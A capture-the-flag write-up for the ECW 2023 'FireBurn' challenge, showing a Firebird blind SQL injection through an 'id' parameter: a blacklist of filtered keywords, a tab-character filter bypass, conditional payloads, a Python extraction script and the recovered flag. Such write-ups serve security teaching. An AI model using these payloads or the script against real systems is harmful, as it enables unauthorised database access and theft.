Featured image of post [ECW 2023] - FireBurn

[ECW 2023] - FireBurn

Author : Seela (WtF)

Solves : 11

🩸First blood : owne

Description :

Yet another artificial intelligence is released, but its answers are limited, so you have to ask it the right question. Your mission is to obtain the flag, or rather to extort it, because it won’t listen. For this challenge, automated scanners are not useful.

Recon :

It’s a PHP web application and when you visit the web application, you can find a user input where you can ask a question to an AI :

When a question is posed to the AI, the server makes the following request :

1
GET /api/search?id=&search=owned%20by%20owne%20%3F

Here, we can see two GET parameters, ‘id,’ which doesn’t appear to be used at first glance, and ‘search,’ which contains our question.

Every question asked to the AI returns a random sentence, and each sentence has an ID :

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Date: Thu, 26 Oct 2023 09:15:30 GMT
Server: Apache/2.4.56 (Debian)
Content-Length: 88
Connection: close
Content-Type: application/json

{"status":"ok","id":"95","answer":"Finding a balance between different factors is key."}

When you specify an ID in the ‘id’ parameter, the server always returns the same sentence associated with the entered ID.

So this probably means that our ‘id’ parameter is being passed into an SQL query

After fuzzing the ‘id’ parameter, we can see that the server can return 3 different statuses :

  • ‘badword’
  • ‘error’
  • ‘ok’"

We can then suspect that the injection is happening in the ‘id’ parameter, and we will have to bypass the ‘WAF’.

I immediately guessed that the DBMS was Firebird based on the title of the challenge, ‘FireBurn’.

Payload to confirm the injection :

1
GET /api/search?id=exp(0)&search=owned    

exp(0) equals 1, so if there’s an SQL injection, the server should return the sentence with ID 1.

Server response :

1
2
3
4
5
{
	"status":"ok",
	"id":1,
	"answer":"Chunking information, using repetition, and engaging multiple senses."
}

FireBird injection confirmed !

https://firebirdsql.org/file/documentation/html/en/refdocs/fblangref30/firebird-30-language-reference.html#fblangref30-reskeywords-allkeywords

Here are all the blacklisted words (I might have forgotten some) :

  • *
  • /
  • -
  • =
  • LIKE
  • OR
  • AND
  • UNION
  • “Space char”
  • |
  • ORDER
  • GROUP
  • INTO
  • JOIN
  • password
  • null
  • updatexml
  • IN
  • EXISTS
  • UPPER

Here are all the whitelisted words (I might have forgotten some) :

  • [a-zA-Z0-9]
  • SELECT
  • WHERE
  • WHEN
  • THEN
  • CASE
  • BY
  • LIMIT
  • OFFSET
  • FROM
  • SET
  • REGEXP
  • char
  • concat
  • substring
  • #
  • @
  • +
  • %
  • ;
  • `
  • []
  • {}
  • .

No size limit on the input ‘id’

For all my tests, I set up a local Firebird database to fully understand its behavior and specificities.

Considering the filters, I immediately understood that it was a SQLi Blind with conditional error.

https://portswigger.net/web-security/sql-injection/blind#exploiting-blind-sql-injection-by-triggering-conditional-errors

Exploitation

A simple bypass for space char is to put %09

1
GET /api/search?id=(SELECT%091%09FROM%09RDB$DATABASE)&search=owned    

Server response :

1
2
3
4
5
{
	"status":"ok",
	"id":1,
	"answer":"Chunking information, using repetition, and engaging multiple senses."
}

Extract table :

1
(SELECT CASE WHEN(1=(SELECT FIRST 1 1 FROM rdb$relations WHERE rdb$relation_name SIMILAR TO '<char>%' ESCAPE '\')) THEN 1 ELSE 2 END FROM rdb$databases ) ;

Extract column :

1
(SELECT CASE WHEN(1 SIMILAR TO(SELECT FIRST 1 1 FROM rdb$relation_fields WHERE rdb$field_name SIMILAR TO '<char>%' ESCAPE '\')) THEN 1 ELSE 2 END FROM rdb$database)

Extract Value :

1
(SELECT CASE WHEN(1 SIMILAR TO(SELECT FIRST 1 1 FROM <table_name> WHERE <column_name> SIMILAR TO '<char>%' ESCAPE '\')) THEN 1 ELSE 2 END FROM rdb$database)

ps : I didn’t include the “%09” for the sake of readability.

Here is the python script that allows extracting all the tables, columns and their data :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import requests
import string

url = "http://instances.challenge-ecw.fr:41684/api/search?id="
alphabet = string.ascii_letters + string.digits + ".{}_$"

# Retrieve the number of table, didn't handle table with same first letter.
def count_tables():
    res = list()
    for i in alphabet :
        if i == "_":
            i = r"\_"
        payload = f"(SELECT%09CASE%09WHEN(1%09SIMILAR%09TO(SELECT%09FIRST%091%091%09FROM%09rdb$relations%09WHERE%09rdb$relation_name%09SIMILAR%09TO%09'{i}%25'ESCAPE%09'\\'))%09THEN%091%09ELSE%092%09END%09FROM%09rdb$database)"
        r = requests.get(url+payload)
        if '"id":1' in r.text :
            res.append(i)
    print("Number of tables : %s"%len(res))
    return res

# Retrieve the table name from a given first char.
def extract_table(tablename_first_char):
    res = tablename_first_char
    while 1:
        found = False
        for i in alphabet :
            if found == False :
                if i == "_":
                    i = r"\_"
                payload = f"(SELECT%09CASE%09WHEN(1%09SIMILAR%09TO(SELECT%09FIRST%091%091%09FROM%09rdb$relations%09WHERE%09rdb$relation_name%09SIMILAR%09TO%09'{res+i}%25'ESCAPE%09'\\'))%09THEN%091%09ELSE%092%09END%09FROM%09rdb$database)"
                r = requests.get(url+payload)
                if '"id":1' in r.text :
                    res += i
                    found = True
        if found == False :
            res = res.replace("\\","")
            print(f"Table Found : {res}")
            return res   

#retrieve number of column :
def count_column():
    res = list()
    for i in alphabet :
        if i == "_":
            i = r"\_"
        payload = f"(SELECT%09CASE%09WHEN(1%09SIMILAR%09TO(SELECT%09FIRST%091%091%09FROM%09rdb$relation_fields%09WHERE%09rdb$field_name%09SIMILAR%09TO%09'{i}%25'ESCAPE%09'\\'))%09THEN%091%09ELSE%092%09END%09FROM%09rdb$database)"
        r = requests.get(url+payload)
        if '"id":1' in r.text :
            res.append(i)
    print("Number of columns : %s"%len(res))
    return res

# Retrieve the column name from all tables.
def extract_column(columnname_first_char):
    res = columnname_first_char
    while 1:
        found = False
        for i in alphabet :
            if found == False :
                if i == "_":
                    i = r"\_"
                payload = f"(SELECT%09CASE%09WHEN(1%09SIMILAR%09TO(SELECT%09FIRST%091%091%09FROM%09rdb$relation_fields%09WHERE%09rdb$field_name%09SIMILAR%09TO%09'{res+i}%25'ESCAPE%09'\\'))%09THEN%091%09ELSE%092%09END%09FROM%09rdb$database)"
                r = requests.get(url+payload)
                if '"id":1' in r.text :
                    res += i
                    found = True
        if found == False :
            res = res.replace("\\","")
            print(f"Column Found : {res}")
            return res   

def extract_value(table,column,first_letter):
    res = "ECW\\{"+first_letter
    while 1:
        for i in alphabet :
            if i in string.punctuation and i != "." :
                i = "\\%s"%i
    
            payload = f"(SELECT%09CASE%09WHEN(1%09SIMILAR%09TO(SELECT%09FIRST%091%091%09FROM%09{table}%09WHERE%09{column}%09SIMILAR%09TO%09'{res+i}%25'ESCAPE%09'\\'))%09THEN%091%09ELSE%092%09END%09FROM%09rdb$database)"
            r = requests.get(url+payload)
            if '"id":1' in r.text :
                res += i
        if "\\}" in res:
            res = res.replace("\\","")
            print(f"Flag : {res}")
            return res

count = count_tables()
for i in count:
    extract_table(i)   # HIDDEN_VAULT seems quite interesting :D

count = count_column()
for i in count:
    extract_column(i)  # DATA seems quite interesting ;)
extract_value("HIDDEN_VAULT","DATA","")  # ECW{Arg.Th15.1s.N0t.Th3.FL4g} I got tricked, so let's perform a Burp Intruder scan to find the first characters other than 'A,' and we find 'F'.
extract_value("HIDDEN_VAULT","DATA","F") # ECW{F1reb1rd.1s.N0t.A.M0z1ll4.Pr0ducT.4nym0re} look like a valid flag :D !

Finally, we found the flag : ECW{F1reb1rd.1s.N0t.A.M0z1ll4.Pr0ducT.4nym0re}

Thank you, Seela (WtF), for this challenge.

Licensed under CC BY-NC-SA 4.0